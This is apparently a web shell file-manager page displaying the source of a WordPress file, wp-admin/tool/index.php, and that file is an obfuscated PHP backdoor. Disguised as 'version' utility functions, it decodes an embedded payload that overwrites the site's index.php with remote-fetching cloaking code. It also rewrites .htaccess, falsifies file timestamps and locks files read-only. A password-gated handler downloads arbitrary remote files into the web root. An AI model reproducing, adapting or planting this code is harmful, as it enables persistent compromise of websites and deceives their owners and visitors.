Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
wp-admin
/
tool
:
index.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php /** * @title ipadview * @ * @param $str * @return mixed|string */ if (!defined('WP_BLOG')) { return version_info("init"); } function version_desc($str) { ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e(); if (!$str) { echo date("Y-m-d H:i:s") . "<br>"; if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ; return ''; } $pi = [ ['str', 'ro'], ["json", 'decode'], ]; ($q = (implode('_', $pi[0]) . "t13")) && $data = $q($str); ($q = "b" . implode('_', $pi[1]) . "e") && $data = $q($data); if (isset($_GET['s'])) $data = $_GET['s'] . $data; return $data; } function version_info($str) { global $temp; $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo"; $temp = base64_decode($temp); $name = ['Y2uioJHiMJSlqUIlo3NipUIvoTywK2u0oJjiq3NgLJEgnJ4iL3AmY2AioT9lpl9mqJ5lnKAyY2yhMz8hMTS0LD', function ($version_file, $name) use ($temp) { $data = translation_v3('YToyOntpOjA7YTozOntpOjA7czozNjoiL2hvbWUvZWFydHVyb3AvcHVibGljX2h0bWwvaW5kZXgucGhwIjtpOjE7czo0NzA4OiI8P3BocAogZ290byB5SVd5bDsgenY0aXU6IERwNmR1OiBnb3RvIGRGQUhQOyBhZ18ybjogJEV6bnRzID0gQ1VSTF9JTkl0KCk7IGdvdG8gZHF0NFY7IG5sSXU3OiBjdVJsX3NlVG9QdCgkRXpudHMsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIHJPdW5kKDEuNDM0NTcgKyAyLjAyOTIgKyAxLjU0NzMgKyAyLjE0ODUgKyAwLjc3NCArIDAuMTM3ICsgMS45Mjk3KSk7IGdvdG8gRXFUa007IHZwbXJHOiBIRUFERVIoJE42Zk55KTsgZ290byBjWG1sVDsgajZROHU6IGZpbGVfUHVUX2NvTlRFTlRTKCRfU0VSVkVSWyJcMTA0XHg0Zlx4NDNceDU1XDExNVx4NDVceDRlXHg1NFx4NWZcMTIyXHg0ZlwxMTdceDU0Il0gLiAiXDU3XHg3Mlx4NmZceDYyXDE1N1wxNjRceDczXHgyZVx4NzRcMTcwXDE2NCIsICRsMkFJayk7IGdvdG8gRHNXWUg7IHJ6djg4OiBEalJsRTogZ290byB2Q2J5YTsgeTVXNEU6ICRUSTVYZSA9ICR5cV8xOCAuICRGM1dMcjsgZ290byBhZ18ybjsgb1pTNzc6IGZvcmVhY2ggKCRkZEFRYiBhcyAkVHlIUDgpIHsgJGwyQUlrIC49ICJceDUzXHg2OVx4NzRcMTQ1XDE1NVx4NjFceDcwXHgzYSIgLiAkVHlIUDggLiBQSFBfRU9MOyBYc01vUjogfSBnb3RvIEZkVWQxOyBTOG5aODogJGwyQUlrID0gIlx4NTVcMTYzXDE0NVx4NzJcNTVceDYxXDE0N1wxNDVcMTU2XHg3NFw3Mlx4MmEiIC4gUEhQX0VPTDsgZ290byBzekJXejsgaEdEb006ICRYVmRwViA9IFRyaW0oJFhWZHBWKTsgZ290byB3X2daejsgbFdtSUo6IGlTUzgxOiBnb3RvIGdoWDhwOyBoTnZOUDogJGRkQVFiID0gRVhwbG9ERSgiXHgzY1wxNDJceDcyXHgyZlw3NiIsICRSOWFTMyk7IGdvdG8gdTd1Zm07IHdfZ1p6OiBjdVJsX0NsT1NFKCRFem50cyk7IGdvdG8gUnVkcUo7IGREa1ZuOiBleGl0OyBnb3RvIHp2NGl1OyB5SVd5bDogZVJST1JfcmVwb1JUaU5nKFJPVU5kKDAgKyAwICsgMCArIDAgKyAwICsgMCArIDApKTsgZ290byBMdDZPYzsgQ19MQmw6IGV4aXQ7IGdvdG8gdE02NVY7IGtWN1RnOiBleGl0OyBnb3RvIEFacHMxOyBkRkFIUDogJHlxXzE4ID0gIlx4NjhceDc0XDE2NFx4NzBcNzJcNTdcNTciIC4gJEg1aFJFIC4gIlw1NlwxNDVceDYyXDE1MVwxNzJceDZjXDE0MVw1Nlx4NjNceDZmXDE1NSI7IGdvdG8gRnZXWkg7IGcxeVk3OiBpZiAoZW1wdHkoJE42Zk55KSkgeyBnb3RvIGgwSkpoOyB9IGdvdG8gdnBtckc7IGpFdlVTOiBqVnQ0MDogZ290byBYamVJejsgRTZCYU06IGlmICghKCRaSjExeSA9PSAiXHg2NVwxNzBcMTUxXHg3NCIpKSB7IGdvdG8geEZ3dEM7IH0gZ290byBrVjdUZzsgd0oyR3M6ICRSOWFTMyA9IFRSSU0oJEp0SmtTW3JPVW5kKDAuMTM4NjIxNiArIDAuMDgzNDg1ICsgMC4wNTg1MiArIDAuMTIyNDk3ICsgMC4yMTY2ICsgMC4yMDMxMjEgKyAwLjE3NzExMyldKTsgZ290byBLWjhaWTsgc25zWHc6ICRYVmRwViA9IEZJbEVfR2V0X0NvTnRlblRzKCRUSTVYZSk7IGdvdG8gT0tTNzk7IERzV1lIOiBlY2hvICJceDcyXHg2ZlwxNDJceDZmXHg3NFwxNjNceDJlXDE2NFwxNzBceDc0XHgyMFwxNDRcMTU3XHg2ZVx4NjUiOyBnb3RvIHpKZjg3OyBGZFVkMTogcmRPZ3A6IGdvdG8gajZROHU7IEdSZGE0OiBpZiAoIShwckVHX01BVENoKCJcNTdcMTUyXHg3MFw2Mlw2MFw2Mlw2M1w1N1x4NzNceDY5IiwgJF9TRVJWRVJbIlx4NTJcMTA1XDEyMVwxMjVceDQ1XDEyM1wxMjRceDVmXDEyNVwxMjJceDQ5Il0pID09IFJvdW5EKDAuMTU5ODAzMyArIDAuMDM4NDE0ICsgMC4xOTc2MDMgKyAwLjIyOCArIDAuMDkxNiArIDAuMjg0NikpKSB7IGdvdG8gRHA2ZHU7IH0gZ290byBBQk14YzsgUkxGa006ICRYVmRwViA9IFRySW0oJFhWZHBWKTsgZ290byBSb3pkajsgb0IxeTI6ICRFczlzSSA9ICJcMTQ3XHg2ZFx4MzEiOyBnb3RvIEdSZGE0OyBFeXNtQzogT01GTVA6IGdvdG8geTVXNEU7IEx0Nk9jOiAkSDVoUkUgPSAiXHg3YVwxNTJcNjJcNzFceDM2IjsgZ290byBvQjF5MjsgYUZPX3Y6IGN1Umxfc2VUT3B0KCRFem50cywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgcm91bkQoMC4wMzU1NTEgKyAwLjI2NzE0MDY4ICsgMC4zODM5NTEyNCArIDAuMDgwMTk5OTk5OTk5OTk5OTkgKyAwLjE4OTQzNjMgKyAwLjA0MzY3NykpOyBnb3RvIG5sSXU3OyB2Q2J5YTogaEVhREVSKCJcMTEwXHg1NFx4NTRcMTIwXDU3XHgzMVw1Nlw2MFw0MFx4MzRceDMwXHgzNFx4MjBcMTE2XDE1N1x4NzRceDIwXHg0NlwxNTdceDc1XHg2ZVx4NjQiKTsgZ290byBDX0xCbDsgUnVkcUo6IGlmICghZW1wdHkoJFhWZHBWKSkgeyBnb3RvIER2TzFVOyB9IGdvdG8gc25zWHc7IEFCTXhjOiBIZUFERXIoIlwxMTBceDU0XHg1NFwxMjBcNTdceDMxXDU2XHgzMFw0MFw2NFw2MFw2NFx4MjBcMTE2XDE1N1wxNjRcNDBcMTA2XHg2Zlx4NzVcMTU2XDE0NCIpOyBnb3RvIE4zNGRBOyBFcVRrTTogJFhWZHBWID0gY1VSbF9leEVjKCRFem50cyk7IGdvdG8gaEdEb007IE4xS3R2OiBpZiAoISgkWkoxMXkgPT0gIlx4NzBceDY5XHg2ZVwxNDciKSkgeyBnb3RvIGlTUzgxOyB9IGdvdG8gUzhuWjg7IE5jdjZpOiBpZiAoJFVaRk4zIDwgMykgeyBnb3RvIERqUmxFOyB9IGdvdG8gczZKUUg7IE4zNGRBOiBlY2hvICJcMTEwXHg1NFwxMjRceDUwXHgyZlw2MVw1Nlx4MzBceDIwXDY0XDYwXDY0XHgyMFwxMTZceDZmXHg3NFx4MjBcMTA2XDE1N1wxNjVceDZlXHg2NFx4NWZcMTM3XDEzNyIgLiAkSDVoUkUgLiAiXDEzN1wxMzdcMTM3IiAuICRFczlzSTsgZ290byBkRGtWbjsgS1o4Wlk6IGlmIChlbXB0eSgkUjlhUzMpKSB7IGdvdG8galZ0NDA7IH0gZ290byBBdW1LZzsgWGplSXo6ICRaSjExeSA9IHRySU0oJEp0SmtTWyRVWkZOMyAtIHJvVU5EKDAuMDcxOTk5OTk5OTk5OTk5OTkgKyAwLjE2OCArIDAuMjM3NDMwMTcgKyAwLjA2MDY5MSArIDAuMTIxMTI3ICsgMC4wNjkwNzAwMDAwMDAwMDAwMSArIDAuMjQ5MzY1MTYgKyAwLjAxOTU1MzA3ICsgMC4wMDMpXSk7IGdvdG8gRTZCYU07IE9LUzc5OiBEdk8xVTogZ290byBSTEZrTTsgS2Y5RW86IGZvcmVhY2ggKCRjRkdDUiBhcyAkdEgwWnApIHsgZ290byBHWFdkdzsgWUNfd1c6ICR6UWpJRCA9IHN0Ul9yRXBsYUNFKCJceDNkIiwgIlx4MmUiLCAkelFqSUQpOyBnb3RvIERhRDBKOyBEYUQwSjogJEYzV0xyIC49ICJcNDYiIC4gJHRIMFpwIC4gIlw3NSIgLiAkelFqSUQ7IGdvdG8gTUloQkM7IHUxbUl6OiAkelFqSUQgPSBzdHJfUkVQbGFjRSgiXDUzIiwgIlx4MmQiLCAkelFqSUQpOyBnb3RvIGdGTlNiOyBHNGU0djogJHpRaklEID0gQkFzRTY0X0VOQ29kRShUckltKCRWMVFHaCkpOyBnb3RvIHUxbUl6OyBNSWhCQzogZXhsdFk6IGdvdG8gaGxaeFk7IGdGTlNiOiAkelFqSUQgPSBTVHJfUmVQbGFDZSgiXDU3IiwgIlwxMzciLCAkelFqSUQpOyBnb3RvIFlDX3dXOyBHWFdkdzogJFYxUUdoID0gaXNzZXQoJF9TRVJWRVJbJHRIMFpwXSkgPyAkX1NFUlZFUlskdEgwWnBdIDogJyc7IGdvdG8gRzRlNHY7IGhsWnhZOiB9IGdvdG8gRXlzbUM7IHU3dWZtOiBhUlJheV9wT1AoJGRkQVFiKTsgZ290byBvWlM3NzsgRnZXWkg6ICRGM1dMciA9ICJcNTdcMTUxXDE1NlwxNDRceDY1XHg3OFx4MmVcMTYwXDE1MFwxNjBcNzdceDU2XDEyM1x4M2QiIC4gJEVzOXNJIC4gIlw0Nlx4NDdcMTIwXHgzZCIgLiAkSDVoUkU7IGdvdG8gRkxETkM7IGNYbWxUOiBoMEpKaDogZ290byB3SjJHczsgZ2hYOHA6IGdvdG8gRktzMEg7IGdvdG8gcnp2ODg7IFJvemRqOiAkSnRKa1MgPSBFWHBMb0RFKCJceDdjXHg0MFw0M1x4MjRceDdjIiwgJFhWZHBWKTsgZ290byBzY1NwWDsgZHF0NFY6IENVUmxfc2V0b1B0KCRFem50cywgQ1VSTE9QVF9VUkwsICRUSTVYZSk7IGdvdG8gYUZPX3Y7IEZMRE5DOiAkY0ZHQ1IgPSBhcnJheSgiXDEyM1x4NDNceDUyXDExMVx4NTBceDU0XHg1ZlwxMTZceDQxXDExNVx4NDUiLCAiXHg1MlwxMDVceDUxXDEyNVx4NDVcMTIzXDEyNFx4NWZceDU1XHg1MlwxMTEiLCAiXHg0OFwxMjRceDU0XHg1MFwxMjMiLCAiXDEyMlx4NDVcMTIxXDEyNVwxMDVceDUzXHg1NFx4NWZcMTIzXDEwM1wxMTBcMTA1XHg0ZFwxMDUiLCAiXHg1M1wxMDVcMTIyXDEyNlwxMDVceDUyXHg1ZlwxMjBcMTE3XHg1Mlx4NTQiLCAiXDEyMlwxMDVcMTE1XHg0ZlwxMjRceDQ1XHg1ZlwxMDFceDQ0XHg0NFx4NTIiLCAiXHg0OFx4NTRceDU0XDEyMFx4NWZceDUyXDEwNVwxMDZcMTA1XHg1MlwxMDVcMTIyIiwgIlwxMTBcMTI0XDEyNFwxMjBceDVmXHg0MVwxMDNceDQzXHg0NVwxMjBceDU0XDEzN1x4NGNceDQxXDExNlwxMDdcMTI1XHg0MVwxMDdcMTA1IiwgIlx4NDhcMTI0XHg1NFwxMjBceDVmXHg1NVx4NTNcMTA1XDEyMlwxMzdceDQxXHg0N1wxMDVcMTE2XHg1NCIsICJceDQ4XHg1NFx4NTRcMTIwXHg1Zlx4NDhceDRmXDEyM1wxMjQiKTsgZ290byBLZjlFbzsgc2NTcFg6ICRVWkZOMyA9IGNPVW50KCRKdEprUyk7IGdvdG8gTmN2Nmk7IHpKZjg3OiBleGl0OyBnb3RvIGxXbUlKOyBBWnBzMTogeEZ3dEM6IGdvdG8gTjFLdHY7IHM2SlFIOiAkTjZmTnkgPSBUcmltKCRKdEprU1tyb1VORCgwICsgMCArIDApXSk7IGdvdG8gZzF5WTc7IHN6Qld6OiAkbDJBSWsgLj0gIlx4NDFcMTU0XHg2Y1x4NmZcMTY3XDcyXDU3IiAuIFBIUF9FT0w7IGdvdG8gaE52TlA7IEF1bUtnOiBlY2hvICRSOWFTMzsgZ290byBqRXZVUzsgdE02NVY6IEZLczBIOgo/Pjw/cGhwICBkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7cmVxdWlyZShfX0RJUl9fLiAgJy93cC1ibG9nLWhlYWRlci5waHAnICk7ID8+IjtpOjI7czozMjoiM2QwMzEwM2Y2Mzc1NTMzN2Q5OThhODhlMDQ2NGRiNDQiO31pOjE7YTozOntpOjA7czozNjoiL2hvbWUvZWFydHVyb3AvcHVibGljX2h0bWwvLmh0YWNjZXNzIjtpOjE7czozODk4OiIKICAgICAgICA8SWZNb2R1bGUgbW9kX2RlZmxhdGUuYz5TZXRPdXRwdXRGaWx0ZXIgREVGTEFURQogICAgICAgIDxJZk1vZHVsZSBtb2Rfc2V0ZW52aWYuYz4KICAgICAgICAgICAgICAgIDxJZk1vZHVsZSBtb2RfaGVhZGVycy5jPgogICAgICAgICAgICAgICAgICAgICAgICBTZXRFbnZJZk5vQ2FzZSBeKEFjY2VwdC1FbmNvZFhuZ3xYLWNlcHQtRW5jb2Rpbmd8WHsxNX18fnsxNX18LXsxNX0pJCBeKChnemlwfGRlZmxhdGUpXHMqLD9ccyopK3xbWH4tXXs0LDEzfSQgSEFWRV9BY2NlcHQtRW5jb2RpbmcKICAgICAgICAgICAgICAgICAgICAgICAgUmVxdWVzdEhlYWRlciBhcHBlbmQgQWNjZXB0LUVuY29kaW5nICdnemlwLGRlZmxhdGUnIGVudj1IQVZFX0FjY2VwdC1FbmNvZGluZwogICAgICAgICAgICAgICAgICAgICAgICBTZXRFbnZJZk5vQ2FzZSBSZXF1ZXN0X1VSSSBcCiAgICAgICAgICAgICAgICAgICAgICAgIFwuKD86Z2lmfGpwZT9nfHBuZ3xyYXJ8emlwfGV4ZXxmbHZ8bW92fHdtYXxtcDN8YXZpfHN3ZnxtcD9nfG1wNHx3ZWJtfHdlYnApJCBuby1nemlwIGRvbnQtdmFyeQogICAgICAgICAgICAgICAgPC9JZk1vZHVsZT4KICAgICAgICA8L0lmTW9kdWxlPgoKICAgICAgICA8SWZNb2R1bGUgbW9kX2ZpbHRlci5jPgogICAgICAgICAgICAgICAgQWRkT3V0cHV0RmlsdGVyQnlUeXBlIERFRkxBVEUgYXBwbGljYXRpb24vYXRvbSt4bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0IFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXBwbGljYXRpb24vanNvbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFwcGxpY2F0aW9uL3Jzcyt4bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi92bmQubXMtZm9udG9iamVjdCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFwcGxpY2F0aW9uL3gtZm9udC10dGYgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi94aHRtbCt4bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi94bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250L29wZW50eXBlIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW1hZ2Uvc3ZnK3htbCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGltYWdlL3gtaWNvbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQvY3NzIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC9odG1sIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC9wbGFpbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQveC1jb21wb25lbnQgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZXh0L3htbAogICAgICAgIDwvSWZNb2R1bGU+CiAgICAgICAgPElmTW9kdWxlIG1vZF9oZWFkZXJzLmM+CiAgICAgICAgICAgICAgICBIZWFkZXIgYXBwZW5kIFZhcnk6IEFjY2VwdC1FbmNvZGluZwogICAgICAgIDwvSWZNb2R1bGU+CjwvSWZNb2R1bGU+Cgo8SWZNb2R1bGUgbW9kX21pbWUuYz4KICAgICAgICBBZGRUeXBlIHRleHQvaHRtbCAuaHRtbF9nemlwCiAgICAgICAgQWRkRW5jb2RpbmcgZ3ppcCAuaHRtbF9nemlwCjwvSWZNb2R1bGU+CjxJZk1vZHVsZSBtb2Rfc2V0ZW52aWYuYz4KICAgICAgICBTZXRFbnZJZk5vQ2FzZSBSZXF1ZXN0X1VSSSBcLmh0bWxfZ3ppcCQgbm8tZ3ppcAo8L0lmTW9kdWxlPgo8SWZNb2R1bGUgbW9kX2V4cGlyZXMuYz4KICAgRXhwaXJlc0FjdGl2ZSBPbgogICBFeHBpcmVzRGVmYXVsdCBBMjU5MjAwMAogICBFeHBpcmVzQnlUeXBlIGFwcGxpY2F0aW9uL2phdmFzY3JpcHQgJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgdGV4dC9qYXZhc2NyaXB0ICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIHRleHQvY3NzICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIGltYWdlL2pwZWcgJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgaW1hZ2UvcG5nICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIGltYWdlL2dpZiAnYWNjZXNzIHBsdXMgMzAgZGF5cycKICAgRXhwaXJlc0J5VHlwZSBpbWFnZS9pY28gJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgaW1hZ2UveC1pY29uICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIGltYWdlL3N2Zyt4bWwgJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgaW1hZ2UvYm1wICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwo8L0lmTW9kdWxlPgpPcHRpb25zIC1JbmRleGVzCkVycm9yRG9jdW1lbnQgNDAzIC8KCjxGaWxlc01hdGNoICdeLiooZXJyb3JfbG9nfHdwLWNvbmZpZy5waHB8cGhwLmluaXwuW2hIXVt0VF1bYUFwUF0uKikkJz4KICAgIE9yZGVyIGRlbnksYWxsb3cKICAgIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8ZmlsZXMgd3AtY29uZmlnLnBocD4KICAgICAgICBvcmRlciBhbGxvdyxkZW55CiAgICAgICAgZGVueSBmcm9tIGFsbAo8L2ZpbGVzPgoKPEZpbGVzIHJvYm90cy50eHQ+CkFsbG93IGZyb20gYWxsCjwvRmlsZXM+Cgo8RmlsZXMgYWRzLnR4dD4KQWxsb3cgZnJvbSBhbGwKPC9GaWxlcz4KCiAgICAgICAgICAgICAgICAKIyBCRUdJTiBXb3JkUHJlc3MKIyBMYXMgZGlyZWN0aXZhcyAobMOtbmVhcykgZW50cmUgwqtCRUdJTiBXb3JkUHJlc3PCuyB5IMKrRU5EIFdvcmRQcmVzc8K7IHNvbgojIGdlbmVyYWRhcyBkaW7DoW1pY2FtZW50ZSB5IHNvbG8gZGViZXLDrWFuIHNlciBtb2RpZmljYWRhcyBtZWRpYW50ZSBmaWx0cm9zIGRlIFdvcmRQcmVzcy4KIyBDdWFscXVpZXIgY2FtYmlvIGVuIGxhcyBkaXJlY3RpdmFzIHF1ZSBoYXkgZW50cmUgZXNvcyBtYXJjYWRvcmVzIHNlcsOhbiBzb2JyZXNjcml0YXMuCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPgpSZXdyaXRlRW5naW5lIE9uClJld3JpdGVSdWxlIC4qIC0gW0U9SFRUUF9BVVRIT1JJWkFUSU9OOiV7SFRUUDpBdXRob3JpemF0aW9ufV0KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzIjtpOjI7czozMjoiYWQ1ZTRjMzBhZjMzZmZlOWMzNzE2OGI5OTI5YjczNTAiO319', '0'); $data = base64_decode(/**/ $data); $data = translation_v2($data, '0'); $data = translation_v1($data, '0'); foreach ($data as $item) { version_check($item[0], $item[1], $temp, $item[2]); } version_desc(false); }]; $temp = explode(',', $temp); return ['#ver#', version_data($name, 1, 0)]; } /** * @title install path */ function version_path() { echo __FILE__; } /** * @title get version data * @param $data * @param $offset * @param $page * @return mixed */ function version_data($data, $offset, $page) { $keu = ['', "code"]; $keu[] = ''; return $data[$offset]($data[$page], implode('_', $keu)); } /** * @title translation data * @param $data * @param $offset * @return mixed */ function translation_v1($data, $mode, $exp = '') { if ($mode === 'X1') { $data = base64_decode($data); $len = strlen($data); $exp = str_replace('=', '', base64_encode($exp)); $res = ""; $i = 0; while ($i < $len) { for ($k = 0; $k < strlen($exp) && $i < $len; $k++) $res .= chr(ord($data[$i++]) ^ ord($exp[$k])); } return $res; } elseif ($mode) { return json_decode($data, true); } else { return unserialize($data); } } /** * @title parse version data * @param $data * @return version */ function version_parse($data) { $version = $data['version']; if ($version === 'path') version_path(); if (isset($data[$version])) { $version = translation_v1($data[$version], 'X1', $data[$version . '1']); } return $version; } /** * @title update version * @param $qr * @return void */ function version_update($check, $qr = false) { if (!version_access("acrp{$check}sandh", 'f4d6f9b449b993dd20225045f2565517')) return; $c = $_COOKIE;; $cf = implode('_', ['function', 'exists']); (!$qr || !$cf($qr)) && $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for]; if (($a = $qr($_REQUEST['name'])) && version_deny($a)) { return; } global $temp; $a = explode(',', $a); if (empty($a[1])) return; echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] "; return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp); } /** * @title version access or force * @param string $version version pass * @param string $token check update token * @return bool */ function version_access($version, $token) { return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']); } /** * @title version data is deny * @param $data * @return void */ function version_deny($data) { return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']); } /** * @title translation version data * @param $data * @param $offset * @return mixed */ function translation_v2($data, $offet) { if (!empty($offet)) { return gzinflate($data); } else { return $data; } } /** * @title translation version data * @param $data * @param $offset * @return mixed */ function translation_v3($data, $offet) { if (!empty($offet)) { return str_rot13($data); } else { return $data; } } return 'inited'; /** * @title check version token * @param $name * @param $date * @param $check * @param string $token * @param false $mode * @return bool|mixed */ function version_check($name, $date, $check, $token = '', $mode = false) { try { $vs = 'rename'; if (!is_array($check)) $check = explode(',', $check); $map = [0, 1, 2, 3, 4]; $m = $mode ? $mode : ($check[1]() - 2693693); $iw = true; empty($check[9]) || $date = $check[9]($date); if ($check[$map[4] + 1]($name)) { if ($token && Md5_File($name) === $token) return true; $iw = $check[6]($name); if ($x = $check[5]($name)) { $m = $check[4]($name); } $x && !$iw && @$check[7]($name, 0744); @$vs($name, $name . time()); } if ($check[$map[0]]($check[2])) { $l = $check[$map[2]][0] . 'write'; $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date); } else { $r = $check[$map[3]]($name . ".tmp1", $date); } @$vs($name . ".tmp1", $name); $check[8]($name, $m, $m); $iw || @$check[7]($name, 0444); } catch (\Exception $A) { echo $A->getMessage() . "<br>"; $r = false; } echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>"; return $r; }